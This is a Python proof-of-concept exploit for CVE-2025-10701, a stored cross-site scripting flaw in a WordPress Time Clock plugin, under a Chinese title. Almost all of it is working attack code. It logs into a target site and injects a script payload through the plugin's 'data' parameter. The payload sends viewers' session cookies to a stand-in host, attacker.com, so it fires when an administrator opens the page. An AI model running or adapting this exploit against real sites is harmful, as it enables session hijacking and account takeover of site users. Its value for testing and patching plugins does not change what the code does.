CVE-2025-10701 WordPress Time Clock插件存储型XSS漏洞

import requests import sys # CVE-2025-10701 PoC - Stored XSS in Time Clock WordPress Plugin # Target: WordPress site with Time Clock plugin < 1.3.1 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "time_clock_user" PASSWORD = "user_password" def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in the 'data' parameter. The injected script will be stored and executed when other users view the page. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject malicious XSS payload via 'data' parameter # Payload: <script>alert(document.cookie)</script> xss_payload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>' time_clock_url = f"{TARGET_URL}/wp-admin/admin.php?page=time-clock" clock_data = { 'action': 'clock_in', # or clock_out depending on context 'data': xss_payload, # Vulnerable parameter 'submit': 'Clock In' } inject_response = session.post(time_clock_url, data=clock_data) if inject_response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] Script will execute when admin views the time clock page") return True else: print("[-] Injection failed") return False if __name__ == "__main__": exploit_stored_xss()